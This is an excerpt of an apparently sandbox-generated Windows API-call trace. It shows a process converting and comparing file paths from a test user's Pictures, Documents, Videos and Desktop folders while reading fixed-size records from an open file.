[0079.342] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/oNHdSBRjgNrMZx3MZ49l.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp"
[0079.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned 93
[0079.342] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
[0079.342] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.342] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.342] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26624, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6800
[0079.342] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.342] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/qsv5elm1q.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png"
[0079.342] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned 66
[0079.342] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
[0079.342] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.342] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.342] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26880, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6900
[0079.342] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.343] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/jOsIaZ/nbJTuf2IM6Kaee-b8aa.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv"
[0079.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned 66
[0079.343] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
[0079.343] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.343] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.343] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27136, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a00
[0079.343] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.343] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/1c5hjVXP_vir2AySS.ots" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots"
[0079.343] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned 66
[0079.343] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
[0079.343] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.343] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.343] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27392, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6b00
[0079.343] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.344] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/vAkUFlQ4t/RxGmrbG_.ppt" | out: _Str="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt"
[0079.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned 61
[0079.344] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
[0079.344] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.344] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.344] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c00
[0079.344] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.344] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/AppData/Roaming/3Adm.jpg" | out: _Str="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg"
[0079.344] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned 53
[0079.344] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
[0079.344] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.344] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.344] SetFilePointer (in: hFile=0x9c, lDistanceToMove=27904, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6d00
[0079.344] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.345] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/8cb1QU.gif" | out: _Str="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned="file:///c:/users/atveydl98z/desktop/8cb1qu.gif"
[0079.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/8cb1qu.gif") returned 47
[0079.345] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
[0079.345] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.345] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.345] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28160, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e00
[0079.345] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.345] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/woZzxzBxQscnly17n0.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx"
[0079.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/wozzxzbxqscnly17n0.xlsx") returned 62
[0079.345] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
[0079.345] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.345] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.345] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28416, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6f00
[0079.345] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.345] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/mSo-ZV%20Iw0FbW4-P3V.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp"
[0079.345] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/mso-zv%20iw0fbw4-p3v.bmp") returned 62
[0079.346] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
[0079.346] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.346] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.346] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7000
[0079.346] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.346] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/81sNQ.bmp" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp"
[0079.346] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/81snq.bmp") returned 78
[0079.346] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
[0079.346] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.346] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.346] SetFilePointer (in: hFile=0x9c, lDistanceToMove=28928, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7100
[0079.346] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.346] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/bsCQw.odt" | out: _Str="file:///c:/users/atveydl98z/documents/bscqw.odt") returned="file:///c:/users/atveydl98z/documents/bscqw.odt"
[0079.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/bscqw.odt") returned 48
[0079.347] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
[0079.347] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.347] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.347] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7200
[0079.347] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.347] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/_ZrIQiqZdCdzwkR/hvDDHYdD.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif"
[0079.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hvddhydd.gif") returned 81
[0079.347] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
[0079.347] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.347] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.347] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29440, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7300
[0079.347] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.347] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/SQ4ZS.odt" | out: _Str="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned="file:///c:/users/atveydl98z/documents/sq4zs.odt"
[0079.347] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/sq4zs.odt") returned 48
[0079.348] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
[0079.348] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.348] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.348] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400
[0079.348] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.348] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/THid1S161xFlbvS1qvBY.mkv" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv"
[0079.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/thid1s161xflbvs1qvby.mkv") returned 73
[0079.348] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
[0079.348] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.348] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.348] SetFilePointer (in: hFile=0x9c, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500
[0079.348] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.348] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/JDIIeMSeuyiP28.xlsx" | out: _Str="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx"
[0079.348] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/jdiiemseuyip28.xlsx") returned 58
[0079.348] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
[0079.348] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.349] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.349] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600
[0079.349] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.349] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/NS6OxgXy5z4YHI.gif" | out: _Str="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif"
[0079.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/ns6oxgxy5z4yhi.gif") returned 56
[0079.349] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
[0079.349] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.349] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.349] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700
[0079.349] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.349] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Desktop/Ihug/5vGRNxxmT0.jpg" | out: _Str="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg"
[0079.349] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/desktop/ihug/5vgrnxxmt0.jpg") returned 56
[0079.349] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
[0079.349] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.349] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.349] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800
[0079.350] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.350] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/db_m.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/db_m.pptx") returned="file:///c:/users/atveydl98z/documents/db_m.pptx"
[0079.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/db_m.pptx") returned 48
[0079.350] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
[0079.350] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.350] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.350] SetFilePointer (in: hFile=0x9c, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900
